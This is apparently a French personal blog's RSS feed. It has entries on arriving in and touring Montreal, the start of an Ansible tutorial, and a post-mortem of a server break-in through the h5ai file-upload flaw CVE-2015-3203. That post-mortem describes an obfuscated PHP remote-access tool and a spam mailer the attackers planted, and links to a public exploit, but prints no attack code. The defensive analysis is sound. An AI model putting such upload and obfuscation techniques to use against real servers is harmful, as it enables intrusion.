&lt;p&gt;Après ça, nous avons décidé d’avancer un peu plus sur le Mont Royal, mais impossible de trouver un chemin qui nous emmenait à un point de vue. Et avec la nuit qui tombait, nous avons préféré redescendre sur Montréal. Plutôt que de mourir gelés dans le froid Canadien.&lt;/p&gt;

&lt;h2 id=&quot;tim-hortons&quot;&gt;Tim Hortons&lt;/h2&gt;

&lt;p&gt;Après avoir essuyé des bourrasques de vent bien fraiches, nous avons décidé de nous arrêter dans un Tim Hortons. En effet, il y a quelques années de ça, mon correspondant Canadien en avait fait l’éloge. La chaine a été fondée par un joueur de hockey canadien, et est actuellement la plus populaire de son genre au Canada (devant Mac Donalds et Subway). Ils servent principalement du café et des biscuits/donuts, mais aussi des sandwichs. Bref, tout est sur &lt;a href=&quot;https://fr.wikipedia.org/wiki/Tim_Hortons&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Quelle fut ma surprise quand le serveur nous a dit qu’il ne parlait pas français, alors que tout était écrit en français. Apparemment, tout le monde parle anglais ici. Je ne sais pas encore si c’est dû au quartier, ou à la chaine.&lt;/p&gt;

&lt;p&gt;Le passage de commande est particulier aussi, et nous ne savions pas qu’il fallait avancer au comptoir suivant pour récupérer sa commande. Une personne nous a remarqué, nous a indiqué où nous placer et nous a gentiment dit : “Vous venez d’arriver ? Bienvenue au Canada !”. Comme quoi, les Canadiens n’ont pas volé leur réputation !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-7.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;le-centre-de-montréal&quot;&gt;Le centre de Montréal&lt;/h2&gt;

&lt;p&gt;Quelques jours plus tard, nous avons décidé de repartir en visite dans Montréal. Nous nous sommes arrêtés sur la place du Champs de Mars. Pas de Tour Eiffel en vue pourtant… Par contre le vieux palais de justice de Montréal et l’hôtel de ville en fond.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-10.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nous avons fait escale au centre Eaton qui est un centre commercial géant, avec des restaurants et fast foods au rez de chaussée, et des boutiques de vêtements, de cosmétiques, de téléphones et autres sur les différents étages… Pratique quand on est parti au Canada sans chaussure, sans gant, sans écharpe et sans bonnet. Le principal intéressé se reconnaitra !&lt;/p&gt;

&lt;p&gt;Chose amusante, il est possible d’entrer dans le centre depuis l’arrêt de métro sans avoir à sortir dehors.&lt;/p&gt;

&lt;p&gt;Pour plusieurs raisons, les forfaits téléphoniques sont chers au Canada. Surtout quand on vient de France. A titre d’exemple, un forfait type 2h appels et sms illimités coûte plus de $25 (16€), comparé aux 2€ de Free Mobile en France. C’est toujours bon à savoir. A noter qu’il y a quelques années, les prix pratiqués en France étaient assez semblables…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-11.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;En reprenant la route, nous avons croisé un batiment avec le logo des JO et cette imposante oeuvre devant. Je suppose que cet immeuble doit appartenir au Comite International Olympique (CIO). Encore un mystère !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-12.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Montréal regorge aussi de monuments, comme la basilique Notre Dame que nous avons prise en photo de nuit lors de notre première excursion.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-8.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;le-quartier-chinois&quot;&gt;Le quartier chinois&lt;/h2&gt;

&lt;p&gt;Le quartier chinois est situé à côté de l’hotel de ville. Quartier bien à part, puisqu’il est totalement piéton. On y retrouve tout un tas de spécialités asiatiques plus surprenantes les unes que les autres. C’est décidé, on ira manger là-bas un de ces jours !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-13.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-14.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;le-vieux-port&quot;&gt;Le vieux port&lt;/h2&gt;

&lt;p&gt;En continuant à l’est, nous arrivons au vieux port, sur les rives du Saint Laurent. Aujourd’hui, il ne semble plus y avoir beaucoup de bateaux, surtout en hiver où la glace a recouvert une bonne partie de ce dernier. On y retrouve le musée des sciences, ou encore le festival de musique Igloofest.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-15.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tous les hivers, la ville de Montréal installe une patinoire. C’est même une institution, puisqu’elle était déjà là il y a 20 ans. Chaque jour, le thème des musiques passées est différent. Ce jour là, c’était les chansons francophones. Malheureusement, pas de Céline Dion à notre passage (cliché, toujours…). Ici tout le monde patine, même avec des poussettes pour certains ! Il faut dire aussi que le Hockey est le sport national.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-16.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;En dépassant la patinoire, et en longeant le bord du Saint Laurent, nous arrivons jusqu’à la tour de l’horloge. L’été, se trouve aussi une plage artificielle pour profiter du soleil, sur le bord du port de plaisance.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-17.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Au-delà de la tour, la zone devient plus industrielle, et mes connaissances maritimes étant plutôt limitées, nous avons pu observer ce que j’appellerai des “gros bateaux”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-18.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Toujours lors de notre première excursion de nuit, nous avions profité quelques minutes du belvédère du musée des sciences pour prendre un panorama du vieux port, avant de redescendre rapidement car la nuit la température descend très vite, et nous étions très exposé au vent. En d’autres termes, j’avais les doigts gelés.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Bref, Montréal sous la neige offre de beaux paysages, mais aussi de surprenants endroits. Nous comptons encore explorer l’île Saint Hélène, ou encore le Mont Royal de jour, ainsi que le biodôme, et bien d’autres endroits.&lt;/p&gt;
</description>
        <pubDate>Sun, 17 Jan 2016 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2016-01-17/premiers-jours-a-montreal/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2016-01-17/premiers-jours-a-montreal/</guid>
      </item>
    
    
    
      <item>
        <title>Arrivée au Canada</title>
        
        <description>&lt;p&gt;Mais comment me-suis je retrouvé au milieu de Montréal un 14 janvier 2016 ? Pas totalement par hasard en tout cas.&lt;/p&gt;

&lt;p&gt;J’étudie actuellement à l’&lt;a href=&quot;http://insa-rennes.fr&quot;&gt;INSA Rennes&lt;/a&gt;, et dans le cadre de mon cursus, je dois passer un certains temps à l’étranger. J’ai donc choisi l’École Polytechnique de Montréal, comme Loïc, qui est dans ma promo et sera mon colocataire au Canada. Et me voilà donc au milieu de la belle province. Mais encore faut il s’y rendre ! Et la journée du jeudi 14 janvier a été (très) longue.&lt;/p&gt;

&lt;h2 id=&quot;5h00--le-réveil&quot;&gt;5h00 : Le réveil&lt;/h2&gt;

&lt;p&gt;C’est le moment de rassembler ses dernières affaires avant de partir, vérifier qu’on a rien oublié une fois, deux fois et oublier des choses. Direction le métro de Rennes pour se rendre à la gare.&lt;/p&gt;

&lt;h2 id=&quot;5h45--la-gare&quot;&gt;5h45 : La gare&lt;/h2&gt;

&lt;p&gt;Nous arrivons à la gare de Rennes sans encombre. Hasard s’il en est, nous retrouvons Flavien, un autre camarade promo qui part pour Sherbrooke. Nous discutons un peu, il prend le train suivant qui arrive directement à l’aéroport. Loïc et moi devrons par contre traverser Paris en transport en commun. On ne peut pas gagner à tous les coups. Notre train part à 6h05, tout va bien.&lt;/p&gt;

&lt;h2 id=&quot;8h12--paris&quot;&gt;8h12 : Paris&lt;/h2&gt;

&lt;p&gt;A notre arrivée à Paris, nous nous dirigeons vers le métro qui se trouve dans le sous-sol de Montparnasse - nous avions soigneusement étudié notre plan avant le départ. Ligne 6, arrêt Denfert Rochereau pour prendre le RER B. Malgrès l’heure, nous ne rencontrons pas de difficulté particulière avec nos valises.&lt;/p&gt;

&lt;h2 id=&quot;9h30--roissy-charles-de-gaulle&quot;&gt;9h30 : Roissy Charles de Gaulle&lt;/h2&gt;

&lt;p&gt;L’aéroport est immense et impressionnant. Ce n’est pas Loïc qui dira le contraire. Nous enregistrons nos bagages et récupérons notre carte d’embarquement. J’hérite alors d’une gomette rouge sur mon passeport alors que Loïc et Flavien, qui vient de nous rejoindre, ont eu une gomette verte. Un mystère de plus.&lt;/p&gt;

&lt;p&gt;Pensant avoir quelques minutes de libre, nous nous posons sur des sièges de l’aeroport. Erreur ! Il faut encore passer la douane et le contrôle de sécurité. C’est reparti. Le temps de montrer patte blanche, nous voilà de l’autre côté.&lt;/p&gt;

&lt;p&gt;Nous nous retrouvons alors entre des boutiques Dior, Rolex et autres marques prestigieuses. Bon, et bien ce n’est pas avec ça que l’on va manger ! Nous trouvons un peu plus loin un bon vieux Mac Donalds. Nous en profitons aussi pour admirer les avions et la piste.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/arrivee-canada-1.jpg&quot; alt=&quot;Vue des pistes depuis le terminal&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;12h10--lembarquement&quot;&gt;12h10 : L’embarquement&lt;/h2&gt;

&lt;p&gt;L’embarquement commence à 12h10, mais étant donné le nombre de personnes sur ce vol, ce n’est pas trop tôt. Ce dernier se fait par zone, chaque zone étant appelée à son tour. Quelques minutes plus tard, nous voilà dans la passerelle. Un dernier employé d’Air Canada vérifie notre passeport, et nous pose cette question qui semble assez célèbre : “Vous allez où ?”. Je ne crois pas que “dans l’avion” ou toute autre blague du même accabit soit vraiment bien accueillie. Je vous laisse le soin d’essayer.&lt;/p&gt;

&lt;h2 id=&quot;13h05--le-vol&quot;&gt;13h05 : Le vol&lt;/h2&gt;

&lt;p&gt;Nous voilà dans un magnifique Boeing 777 série 3000. Un gros avion en somme. Avec tout le confort qui se doit, et donc un écran par passager, tactile, avec des films, des séries, et même des courts métrages. Evidémment, rien n’est parfait, et les accoudoirs sont rendus inutilisables par les commandes qui sont reportées dessus, et particulièrement la lumière qui a la facheuse habitude de s’allumer dès que l’on pose son coude sur l’accoudoir.&lt;/p&gt;

&lt;p&gt;Pendant ces 7 heures de vol, pas le temps de s’ennuyer, le personnel d’Air Canada se relaie en continu pour distribuer à manger et à boire. Et ça, c’était bien !&lt;/p&gt;

&lt;p&gt;L’avion reste tout de même assez bruyant, et c’est donc dur de s’endormir pendant le voyage. Notons aussi la traditionnelle carte de déclaration à remplir. Notes pour les français, É-U est l’abbréviations pour États-Unis et pas European Union, comme beaucoup le pense. Tout d’abord car il y a un accent sur le É, ensuite parce que si vous retournez votre feuille, vous verrez qu’il est inscrit U.S. Une petite pensée pour tout ceux qui sont restées à la frontière à cause de ça.&lt;/p&gt;

&lt;h2 id=&quot;14h40--pierre-elliott-trudeau&quot;&gt;14h40 : Pierre-Elliott-Trudeau&lt;/h2&gt;

&lt;p&gt;Nous venons de passer 7 heures dans l’avion mais avec le décallage horaire, il n’est que 14h40 à Montréal. Nous devons maintenant faire la queue pour passer la frontière. C’est à ce moment que nous nous rendons compte que le groupe “Salut c’est cool” voyageait aussi dans notre avion, étant un peu devant nous dans la queue.&lt;/p&gt;

&lt;p&gt;Une fois la frontière passée, nous pouvons alors récupérer nos bagages. A la sortie, nous remettons notre carte de déclaration, prélablement tamponnée lors du passage de la frontière. Nous voilà au Canada !&lt;/p&gt;

&lt;h2 id=&quot;15h20--direction-notre-logement&quot;&gt;15h20 : Direction notre logement&lt;/h2&gt;

&lt;p&gt;Nous avons réservé un logement sur Internet, via une entreprise qui s’est spécialisée dans la location aux étudiants en échange : &lt;a href=&quot;http://irielocation.com/&quot;&gt;Irie Location&lt;/a&gt;. Encore faut-il s’y rendre. Situé à 15 minutes de Polytechnique Montréal, il faut par contre au moins 1 heure pour s’y rendre depuis l’aéroport qui se trouve assez excentré par rapport au centre de Montréal.&lt;/p&gt;

&lt;p&gt;Heureusement, un bus express relie l’aéroport et le centre ville de Montréal. Nous nous installons à bord. Il faut compter un peu de temps tout de même, car le bus est souvent pris dans les bouchons. Ce dernier nous laisse près d’une station de métro. Après Paris, le métro Montrealais est bien vide et facile à prendre !&lt;/p&gt;

&lt;h2 id=&quot;16h20--le-début-du-doute&quot;&gt;16h20 : Le début du doute&lt;/h2&gt;

&lt;p&gt;Arrivé à notre station, nous nous retrouvons dehors, sans savoir dans quelle direction aller ni où s’arrêter et c’est là que…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Que mon téléphone n’a pas de réseau, car chez Free Mobile, si vous activez le forfait bloqué, ce dernier ne se connecte pas en itinérance. Il faut désactiver cette fonctionnalité dans l’espace client (2 fois même dans certains cas).&lt;/li&gt;
  &lt;li&gt;Que les arrêts de bus n’ont pas de carte, ni d’horaires.&lt;/li&gt;
  &lt;li&gt;Qu’à l’intérieur du bus, il n’y a pas non plus de plan.&lt;/li&gt;
  &lt;li&gt;Qu’il fait froid et que la nuit commence à tomber.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nous décidons finalement de rejoindre notre logement à pied. “Ça ne doit pas être si loin”. En fait si, quand même. Nous demandons notre chemin aux gens que nous croisons. Finalement, nous finissons par atteindre notre but sans trop d’erreur. Une personne de l’agence nous attendait déjà. Elle nous donne les clés, et nous voilà à la maison !&lt;/p&gt;

&lt;h2 id=&quot;16h45--home-sweet-home&quot;&gt;16h45 : Home sweet Home&lt;/h2&gt;

&lt;p&gt;Il est bientôt 17h00, nous avons donc voyagé pendant 18h. Nous en profitons pour nous poser un peu. Nous ressortons pour trouver à manger (dans un subway, gastronomie oblige), et rentrons vite nous coucher.&lt;/p&gt;

&lt;p&gt;En conclusion, prévoyez bien de partir reposé. Préparez votre voyage au maximum si vous comptez le réaliser d’une traite. C’est vraiment exténuant !&lt;/p&gt;
</description>
        <pubDate>Fri, 15 Jan 2016 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2016-01-15/arrivee-au-canada/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2016-01-15/arrivee-au-canada/</guid>
      </item>
    
    
    
      <item>
        <title>Une CVE dans h5ai</title>
        
        <description>&lt;p&gt;J’ai eu la “chance” de pouvoir vivre pleinement une intrusion sur mon serveur causée par une faille de sécurité. Histoire de mettre à profit cet heureux moment, je vous propose un retour sur mon investigation suite à cette intrusion.&lt;/p&gt;

&lt;p&gt;Les failles de sécurité viennent toujours de là ou on s’y attend le moins. Dans mon cas, le responsale est h5ai, un petit logiciel qui permet d’avoir un index apache/nginx plus joli. Rien de bien méchant, sauf que, rien n’est jamais simple…&lt;/p&gt;

&lt;h2 id=&quot;découverte-de-la-faille&quot;&gt;Découverte de la faille&lt;/h2&gt;

&lt;p&gt;J’ai découvert l’intrusion dans les règles de l’art : en me rendant sur l’index habituellement géré par h5ai. Et surprise, surprise quand j’aperçois cette page en lieu et place de mon index :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/h5ai-index.png&quot; alt=&quot;Capture d&apos;écran&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Je me connecte donc rapidement en SSH sur mon serveur, pour voir l’étendu des dégats. Nous sommes alors le vendredi 9 octobre. Les fichiers sont là depuis 24 septembre, soit 15 jours. Mazette, ça fait un bout de temps que personne n’est venu ici. Je désactive PHP (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo service php5-fpm stop&lt;/code&gt;), m’empresse de regarder les logs nginx, de copier tout les fichiers incriminés dans un dossier ailleurs et de mettre à jour h5ai. J’ai pu identifier plusieurs fichiers et dossiers malveillants dans mon racine web.&lt;/p&gt;

&lt;h2 id=&quot;informations-sur-la-cve&quot;&gt;Informations sur la CVE&lt;/h2&gt;

&lt;p&gt;La faille de sécurité a été identifiée sous le nom &lt;a href=&quot;http://www.cvedetails.com/cve/CVE-2015-3203/&quot;&gt;CVE-2015-3203&lt;/a&gt; le 28 septembre 2015. Soit 4 jours après mon attaque. C’est un peu comme un Early Access sur Steam, mais en plus c’est gratuit…&lt;/p&gt;

&lt;p&gt;Par la même occasion on en apprend plus sur la faille de sécurité :&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Unrestricted file upload vulnerability in h5ai before 0.25.0 allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in the directory specified by the href parameter.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;TL;DR : Sur certaines versions de h5ai il est possible d’envoyer des fichiers sur le serveur sans restriction. Fichiers qui seront ensuite interprétés par PHP.&lt;/p&gt;

&lt;p&gt;Une faille basique, complètement bête. A aucun moment la fonction d’envoie est mentionnée sur h5ai.&lt;/p&gt;

&lt;p&gt;Après cet épisode, on peut trouver un message bien discret sur le site de h5ai :&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;There was a securtiy flaw in versions 0.22.0 - 0.24.1 that was fixed in 0.25.0. If you are still using one of this versions you are advised to upgrade.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pour ceux qui seraient intéressé par l’exploit, vous pouvez en trouver un sur &lt;a href=&quot;https://www.exploit-db.com/exploits/38256/&quot;&gt;Exploit-DB&lt;/a&gt;. (Bien évidemment il est a utiliser  uniquement pour tester votre installation…)&lt;/p&gt;

&lt;h2 id=&quot;un-rat-php&quot;&gt;Un RAT PHP&lt;/h2&gt;

&lt;p&gt;Le RAT PHP contient une interface, permettant de prendre le contrôle du serveur, et de nombreux outils. On citera, entre autres, la possibilité de naviguer dans les fichiers du serveur, d’executer des commandes, d’automatiser l’ajout d’un compte dans un Wordpress ou un Joomla, etc.&lt;/p&gt;

&lt;p&gt;On notera que le code n’est pas directement en clair dans le fichier, il est compressé en gzip puis converti en base 64. L’ensemble est ensuite décodé puis passé dans un eval qui va interpréter le code.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/h5ai-we.png&quot; alt=&quot;Capture d&apos;écran&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On remarquera que la “team” qui a réalisé ce logiciel est indonésienne et se nomme “D’MASTERPIECE”.&lt;/p&gt;

&lt;h2 id=&quot;le-mailer&quot;&gt;Le mailer&lt;/h2&gt;

&lt;p&gt;Le fichier PHP du mailer quant à lui n’est pas obfusqué. Il est d’ailleurs écrit dans un PHP plus propre (en utilisant des classes). On remarquera le soin apporté au design…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/h5ai-pm.png&quot; alt=&quot;Capture d&apos;écran&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Son seul objectif est d’utiliser le serveur email de la cible pour envoyer des emails.&lt;/p&gt;

&lt;h2 id=&quot;retour-sur-lattaque&quot;&gt;Retour sur l’attaque&lt;/h2&gt;

&lt;p&gt;Afin d’accéder au serveur, nos pirates revendiquant le nom de “Dragon Net” ont exploité la faille de sécurité dans h5ai pour s’en servir comme base avancée pour des attaques (mailer et RAT).&lt;/p&gt;

&lt;p&gt;Ils ont ensuite utilisé le RAT pour fouiller dans les fichiers du site et uploadé différents fichiers, entre autre un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ssh/known_hosts&lt;/code&gt; (mais c’est tout côté SSH).&lt;/p&gt;

&lt;p&gt;Sur leur défaçage, ils se targuent de se contenter de publier leurs revendications. Et en effet, ils semblent n’avoir rien fait d’autre. Cependant, on peut supposer que leur intentions ne sont pas aussi louables qu’ils le prétendent : pourquoi ne pas avoir directement envoyé leur fichier index.html ? Le RAT et le mailer semblent avoir été inutiles dans notre cas…&lt;/p&gt;

&lt;p&gt;On notera d’ailleurs que la team ayant réalisé l’attaque n’est pas la même que celle qui a créé les outils. Il y a un marché pour tout…&lt;/p&gt;

&lt;p&gt;Faute d’informations supplémentaires je suppose qu’ils ont prévu ces fichiers “au cas où” ils aient besoin d’un serveur.&lt;/p&gt;

&lt;h2 id=&quot;exploitation-et-possibilités&quot;&gt;Exploitation et possibilités&lt;/h2&gt;

&lt;p&gt;La faille de h5ai, par chance, n’a été exploitée que pour des revendications politiques/religieuses. Mais on peut imaginer bien pire…&lt;/p&gt;

&lt;p&gt;Tout d’abord, actuellement tous mes sites web en PHP sur cette machine utilisent le même utilisateur. On peut donc supposer qu’il aurait pu défacer ces sites webs, et la base de données qui va avec. Il était aussi possible de lancer des attaques DDoS depuis la machine, executer des programmes, etc.&lt;/p&gt;

&lt;p&gt;Cependant, notre pirate n’avait pas d’accès root, il n’avait donc pas accès au reste du système… heureusement !&lt;/p&gt;

&lt;h2 id=&quot;les-mesures-de-sécurité&quot;&gt;Les mesures de sécurité&lt;/h2&gt;

&lt;p&gt;Cet épisode amène à des réflexions. Tout d’abord sur le choix de h5ai : comment une telle faille est arrivée dans ce logiciel. Son objectif n’a jamais été l’envoi de données ! Peut-on encore lui faire confiance ? Peu d’annonce à ce sujet, une description laconique sur le site officiel, pas grand chose sur git…&lt;/p&gt;

&lt;p&gt;Deuxièmement, je me suis intéressé aux mises à jours des différents applications web de ma machine. Quelles sont les applications installées ? Sont-elles à jour ?&lt;/p&gt;

&lt;p&gt;Enfin, le problème de PHP se pose : comment compartimenter les sites en plusieurs utilisateurs distincts afin qu’un site compromis ne puisse pas atteindre les autres ? Comment prévenir l’execution de scripts PHP indésirable ?
SELinux n’aurait pas forcément été d’une grande aide dans mon cas, même s’il peut être un rempart de plus, pour détecter ce genre d’actions frauduleuses.&lt;/p&gt;

&lt;p&gt;Aujourd’hui les containers sont à la mode (LXC, Docker, …). L’utilisation de ces derniers pourraient être  un gage de sécurité supplémentaire. En effet, le pirate resterait coincé dans le conteneur. De plus ces derniers sont censés être plus simple à mettre à jour. Mais leur sécurité n’est pas encore parfaite.&lt;/p&gt;

&lt;p&gt;En tout cas, en terme de sécurité, il ne faut pas se reposer sur un rempart, car une faille de sécurité peut facilement le casser, mais sur plusieurs (container, utilisateurs distincts, SELinux et mises à jour fréquentes).&lt;/p&gt;
</description>
        <pubDate>Tue, 13 Oct 2015 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2015-10-13/h5ai-cve-postmortem/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2015-10-13/h5ai-cve-postmortem/</guid>
      </item>
    
    
    
      <item>
        <title>Automatiser avec Ansible</title>
        
        <description>&lt;p&gt;Ansible est un outil en ligne de commande pour automatiser vos déploiements. L’objectif de cet article est bien évidemment de vous convaincre de son utilité. Avant d’entrer dans le vif du sujet, revenons sur les différentes façons de déployer votre code sur un serveur.&lt;/p&gt;

&lt;h2 id=&quot;lâge-de-pierre&quot;&gt;L’âge de pierre&lt;/h2&gt;

&lt;h3 id=&quot;a-la-main&quot;&gt;A la main&lt;/h3&gt;

&lt;p&gt;Le niveau zéro de l’administration système consiste à vous connecter en SSH sur le serveur distant, taper des commandes jusqu’à ce que vous obteniez le résultat désiré. Même si cette méthode peut convenir pour apprendre, elle trouve assez vite ses limites au fil du temps : comment faire quand vous avez plusieurs serveurs, quand vous devez faire une mise à jour, quand vous êtes plusieurs à gérer ces serveurs, quand un serveur crash et que vous devez le réinstaller ?&lt;/p&gt;

&lt;h3 id=&quot;écrire-un-script&quot;&gt;Écrire un script&lt;/h3&gt;

&lt;p&gt;Afin de pouvoir redéployer votre configuration autant de fois que vous voulez, vous avez peut-être déjà pensé à écrire un script bash qui regroupe l’ensemble des commandes pour déployer votre code. Mais vous vous doutez bien que tout n’est pas parfait.&lt;/p&gt;

&lt;p&gt;En effet, comment gérer le cas où vous devez cloner un dépôt git à la première installation, mais à chaque réexécution du script vous voulez vous contenter de le mettre à jour ? Vous pouvez écrire deux scripts, un d’installation et un de mise à jour, mais comment faire quand ce genre de cas se reproduit plusieurs fois, et que lors d’une mise à jour il faut créer un nouveau fichier une seule fois ? Vous allez devoir créer un troisième fichier, et executer le bon script sur le bon serveur.&lt;/p&gt;

&lt;p&gt;Une seconde approche est de faire les tests directement dans le script. Ce dernier d’adaptera donc à votre environnement. Mais certains tests sont complexes, et votre script va s’alourdir considérablement. C’est là où Ansible va vraiment vous faciliter la vie, en réalisant ces tests de manière totalement invisible.&lt;/p&gt;

&lt;h2 id=&quot;fonctionnement-dansible&quot;&gt;Fonctionnement d’Ansible&lt;/h2&gt;

&lt;h3 id=&quot;des-étâts-plutôt-que-des-commandes&quot;&gt;Des étâts plutôt que des commandes&lt;/h3&gt;

&lt;p&gt;Ansible fonctionne par étât, vous décrivez donc dans quel étât vous voulez qu’une chose soit. Par exemple, je ne vais pas demander de cloner ou de mettre à jour mon dépôt git sur ma machine. Je vais demander à Ansible que mon projet git soit à jour. Si le dossier existe déjà, Ansible va le mettre à jour. Si il n’existe pas, Ansible va le cloner.&lt;/p&gt;

&lt;h3 id=&quot;un-fonctionnement-sans-agent&quot;&gt;Un fonctionnement sans agent&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/ansible-agentless.png&quot; alt=&quot;Schema Ansible : Sans Agent&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ansible fonctionne sans agent sur le serveur. Et alors ? En fait, vous n’avez pas besoin d’installer ansible sur votre serveur. Tout se passe sur votre client. Votre serveur aura juste besoin de python2 (et avec un peu de chance il sera déjà installé). Ansible va se connecter au serveur en SSH, récupérer les informations dont il a besoin, puis générer la commande qui correspond à votre requête en fonction de l’état de ce dernier.&lt;/p&gt;
&lt;h3 id=&quot;les-templates&quot;&gt;Les templates&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/ansible-template.png&quot; alt=&quot;Schema Ansible : Les Templates&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Les templates vous permettent d’adapter vos fichiers de configuration avec des variables propres à chaque serveur. Imaginons que vous vouliez lancer un logiciel sur x serveurs, ayant chacun dans leur configuration le nom d’hôte du serveur. Lors de l’envoi de mon fichier de configuration sur le serveur, Ansible va prendre le template et remplacer les variables par les bonnes valeurs.&lt;/p&gt;

&lt;h3 id=&quot;sous-le-capot&quot;&gt;Sous le capot&lt;/h3&gt;

&lt;p&gt;Ansible est écrit en python2. Chaque commande à un module Ansible, et son utilisation est décrite dans la documentation. Il va se connecter en SSH au serveur, envoyer une charge utile en python, qu’il va exécuter, et va envoyer son retour.&lt;/p&gt;

&lt;h3 id=&quot;versionner&quot;&gt;Versionner&lt;/h3&gt;

&lt;p&gt;En créant des fichiers de configuration sur votre ordinateur, vous pouvez les versionner, dans git par exemple. Ce qui vous permet de :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Travailler à plusieurs sur le déploiement de votre application&lt;/li&gt;
  &lt;li&gt;Redéployer une ancienne version de votre application&lt;/li&gt;
  &lt;li&gt;Avoir un script de déploiement pour develop, master, etc. et le gérer comme votre code. (#DevOps :p)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;les-alternatives&quot;&gt;Les alternatives&lt;/h3&gt;

&lt;p&gt;Je vous présente un peu Ansible comme l’alternative miracle. Rassurez-vous, le monde est vaste, et ce n’est pas la seule option possible. Le plus important c’est de trouver l’outil qui vous convient. Il existe des outils de déploiement avec agent, comme Chef. D’autres consiste à empaqueter vos modifications dans une machine virtuelle, comme Puppet ou Vagrant. Enfin, une autre approche, semblable à la précédente, utilise des conteneurs comme Docker ou Rocket.&lt;/p&gt;

&lt;h2 id=&quot;place-à-la-pratique&quot;&gt;Place à la pratique&lt;/h2&gt;

&lt;p&gt;Si je ne vous ai pas montré des bouts de fichier tout de suite, c’est que je voulais être sûr que vous compreniez bien le fonctionnement d’Ansible, et surtout pourquoi ça peut vous aider. Je ne vous ferai pas de long tutoriel sur son installation, tout se trouve sur &lt;a href=&quot;http://docs.ansible.com/ansible/intro_installation.html&quot;&gt;la page d’installation de la documentation officielle&lt;/a&gt;. En général ça se résume à l’installation via votre gestionnaire de dépendance (dnf, apt, pacman…).&lt;/p&gt;

&lt;h3 id=&quot;prise-en-main&quot;&gt;Prise en main&lt;/h3&gt;

&lt;p&gt;Tout d’abord, Ansible utilise un fichier hosts, un peu particulier, qui n’est pas versionné. Vous pourrez le trouver en général ici : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/ansible/hosts&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;En effet, dans vos fichiers de déploiement, vous ne mettez pas directement le nom du serveur distant, mais juste un nom, et les paramètres seront définis dans votre fichiers hosts. Ca permet de décoreller votre déploiement de vos serveurs.&lt;/p&gt;

&lt;p&gt;Voici à quoi ressemble ce fichier (toutes les informations ne sont pas obligatoires):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;server1 ansible_ssh_port=22 ansible_ssh_host=192.168.1.1 ansible_ssh_user=root
server2 ansible_ssh_port=22 ansible_ssh_host=192.168.1.2 ansible_ssh_user=john
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

